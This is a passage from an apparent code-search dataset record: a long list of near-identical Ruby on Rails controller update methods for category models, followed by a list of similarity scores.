respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def user_category_edit\n @user = User.where(contact: params[:contact]).first\n @user.categories.destroy_all\n params[:category_ids].each do |category|\n @user.user_categories.create!(category_id: category, user_id: @user.id)\n end\n render json: {status: \"SUCCESS\", message: \"user-categories\", data: \"categories updated\"}, status: :ok\n end", "def update\n @cat = Cat.find(params[:id])\n\n respond_to do |format|\n if @cat.update_attributes(params[:cat])\n format.html { redirect_to @cat, notice: 'Cat was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cat.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @cat = Cat.find(params[:id])\n\n respond_to do |format|\n if @cat.update_attributes(params[:cat])\n _update_topics \n format.html { redirect_to action: \"edit\", notice: 'Cat was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cat.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to categories_path, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @post_category = Post::Category.find(params[:id])\n\n respond_to do |format|\n if @post_category.update_attributes(params[:post_category])\n format.html { redirect_to @post_category, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n category= Category.find(params[:id])\n category.update(category_params)\n \n end", "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to management_categories_path }\n format.json { render json: @category, status: :ok }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @category.update category_params\n format.html { redirect_to admin_categories_url, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to cm_post_categories_url, notice: 'PostCategory was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @category.update_attributes(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @recipe_category = RecipeCategory.find(params[:id])\n\n respond_to do |format|\n if @recipe_category.update_attributes(params[:recipe_category])\n format.html { redirect_to @recipe_category, notice: 'Recipe category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @recipe_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @category = Category.find(params[:id])\n\n if @category.update_attributes(params[:category])\n flash[:notice] = 'Sucesso - update'\n else\n flash[:notice] = 'Falha ao atualizar a categoria'\n end\n\n # respond_to do |format|\n # if @category.update_attributes(params[:category])\n # format.html { redirect_to categories_path}\n # format.json { head :no_content }\n # else\n # format.html { render action: \"edit\" }\n # format.json { render json: @category.errors, status: :unprocessable_entity }\n \n # end\n # end\n end", "def update\n authorize! :update, @category\n \n @category.modifier = current_user\n \n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to categories_url + '#' + @category.slug, notice: t('.success') }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to categories_path, notice: \"Category was successfully updated.\" }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @category.update(category_params)\n end", "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to @category, notice: 'Категория изменена.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to admin_dashboard_categories_path, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def putCategory( category_id, language, name)\n params = Hash.new\n params['category_id'] = category_id\n params['language'] = language\n params['name'] = name\n return doCurl(\"put\",\"/category\",params)\n end", "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to [:admin, @category], notice: t('messages.updated', model:Category.model_name.human) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to backend_shop_branch_category_path(@current_shop.slug, @current_branch, @category), notice: t('Category was successfully updated.') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to category_index_path, notice: 'Categorie was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @incidentcategory.update(incidentcategory_params)\n json_response(@incidentcategory)\n else\n render json: @incidentcategory.errors, status: :unprocessable_entity\n end\n end\n end", "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n # format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.html { redirect_to categories_path, notice: 'Pomyślnie zaktualizowano kategorię.' }\n format.json { head :no_content }\n else\n # format.html { render action: \"edit\" }\n format.html { redirect_to units_path, :flash => { :error => 'Nie udało się zaktualizować kategorii' } }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @catalog_category.update(catalog_category_params)\n format.html { redirect_to catalog_categories_url }\n format.json { render :show, status: :ok, location: @catalog_category }\n else\n format.html { render :edit }\n format.json { render json: @catalog_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @categ.update(categ_params)\n format.html { redirect_to @categ, notice: 'Categ was successfully updated.' }\n format.json { render :show, status: :ok, location: @categ }\n else\n format.html { render :edit }\n format.json { render json: @categ.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n return unless admin?\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @post_category = current_user.post_categories.find(params[:id])\n\n respond_to do |format|\n if @post_category.update_attributes(params[:post_category])\n format.html { redirect_to [:client,@post_category], notice: 'Post category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # update attribute\n if @category.update_attributes(category_params)\n # flash message\n flash.now[:success] = \"更新完了しました。\"\n # get category data\n all_categories\n else\n render 'edit'\n end\n end", "def update\n params[:book][:category_ids] = nil if params[:book][:category_ids].nil?\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to books_url, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n @categories = Category.all.order('name asc')\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @category = Category.find(params[:id])\n @title = 'Kategorie ' + @category.title + ' bearbeiten'\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to categories_path, notice: 'Category was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n\n intent_request = @api_ai_client.create_intents_request\n response = intent_request.update(@category.intent_id, param_options)\n\n if response.is_a?(Hash) && response[:status][:code].eql?(200)\n\n contexts_templates = { contexts: category_params[:contexts].split(\",\"), templates: category_params[:templates].split(\",\") }\n\n if @category.update(category_params.merge(contexts_templates))\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n else\n @notice = response.message\n\n format.html { render :new }\n format.json { render json: { error: response.message }, status: response.code}\n end\n end\n end", "def update\n @categorization = Categorization.find(params[:id])\n @categories = category_list\n respond_to do |format|\n if @categorization.update_attributes(params[:categorization])\n format.html { redirect_to(admin_categorization_path(@categorization), :notice => 'Categorization was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @categorization.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to :back, notice: 'Kategori diperbarui.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n \n #My product belongs_to category relationship won't work so I made this so when I update it reflects changes\n category_name = set_category.name\n Product.all.each do |product|\n product.category = category_params[:name] if product.category == category_name\n product.save\n end\n \n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n category = Documents::Category.find(params[:id])\n category.update!(category_params)\n redirect_to categories_path\n end", "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to backoffice_categories_path,\n notice: notification_alert('success', 'Updated!', \"Category [#{@category.description}] was successfully updated.\") \n }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @api_v1_group_category.update(api_v1_group_category_params)\n format.html { redirect_to @api_v1_group_category, notice: 'Group category was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_group_category }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_group_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to edit_dashboard_category_path(@category), notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to adminpanel_categories_path, notice: \"Категория #{@category.name} успешно обновлена\" }\n format.json { render :show, status: :ok, location: adminpanel_categories_path }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @categories = Category.all.map{|c| [ c.name, c.id ] }\n respond_to do |format|\n if @listing.update(listing_params)\n format.html { redirect_to @listing, notice: 'Listing was successfully updated.' }\n format.json { render :show, status: :ok, location: @listing }\n else\n format.html { render :edit }\n format.json { render json: @listing.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Категория была успешно изменена' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to categories_url, notice: 'Category was successfully updated.' }\n end\n end\n end", "def update\n @kategory = Kategory.find(params[:id])\n\n respond_to do |format|\n if @kategory.update_attributes(params[:kategory])\n format.html { redirect_to @kategory, notice: 'Kategory was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @kategory.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @schema_category.update(schema_category_params)\n format.html { redirect_to schema_categories_path, notice: 'Schema category was successfully updated.' }\n format.json { render :show, status: :ok, location: @schema_category }\n else\n format.html { render :edit }\n format.json { render json: @schema_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category , notice: 'Información actualizada correctamente.' }\n format.json { head :no_content }\n else\n format.html { render 'edit' }\n format.json { render json: @category.errors , status: :unprocessable_entity }\n end\n end\n end", "def update\n if current_category.category==\"noone\"\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n else\n render :file => \"/public/404.html\",:status => \"404\"\n end\n \n end", "def update_categories(cats=[])\n rescue_extra_data\n cats = cats.to_i\n old_categories = categories.pluck(\"#{CamaleonCms::TermTaxonomy.table_name}.id\")\n delete_categories = old_categories - cats\n news_categories = cats - old_categories\n term_relationships.where(\"term_taxonomy_id in (?)\", delete_categories ).destroy_all if delete_categories.present?\n news_categories.each do |key|\n term_relationships.create(:term_taxonomy_id => key)\n end\n update_counters(\"categories\")\n end", "def update\n respond_to do |format|\n if @category.update(category_params)\n flash[:success] = 'Category was successfully updated.'\n format.html { redirect_to admin_category_url(@category) }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def modify_category(categories)\n begin\n puts Rainbow(\"Current categories: #{categories.join(', ')}\").whitesmoke\n yield\n\n write_json(categories, \"Categories/cat\", \"Available categories are: #{categories.join(', ')}\")\n rescue StandardError\n puts \"There are no categories to delete\"\n end\nend" ]
[ "0.76931995", "0.7600433", "0.721346", "0.6943123", "0.6914936", "0.6817601", "0.67816055", "0.6713112", "0.66984165", "0.6693479", "0.66566056", "0.66523254", "0.6651486", "0.6645902", "0.66068524", "0.65989816", "0.6571709", "0.6571709", "0.65543723", "0.65349466", "0.6500273", "0.6476041", "0.6465057", "0.64642215", "0.6447606", "0.6447606", "0.6447606", "0.6447606", "0.6447606", "0.6447606", "0.6447606", "0.6446929", "0.6445167", "0.64354783", "0.64269394", "0.6404794", "0.63986206", "0.6397466", "0.63869214", "0.63710886", "0.6369283", "0.6361617", "0.6361617", "0.63606787", "0.63583905", "0.6350508", "0.6350283", "0.6349869", "0.6345752", "0.6333139", "0.6325586", "0.63239694", "0.63143516", "0.6313136", "0.63053083", "0.62989515", "0.62989515", "0.62989515", "0.62989515", "0.62989515", "0.62989515", "0.62989515", "0.62989515", "0.62989515", "0.62989515", "0.62989515", "0.62989515", "0.62989515", "0.62989515", "0.62989515", "0.6258468", "0.62565297", "0.6253094", "0.62488115", "0.62480146", "0.6242642", "0.62424415", "0.6231377", "0.62297356", "0.6213893", "0.62138283", "0.62133265", "0.6212125", "0.62068313", "0.6203744", "0.62033004", "0.6203232", "0.6199041", "0.61897093", "0.6188133", "0.6184581", "0.61833024", "0.6171633", "0.616978", "0.61682814", "0.61661804", "0.61531246", "0.614805", "0.61377615", "0.61349887", "0.61325574" ]
0.0
-1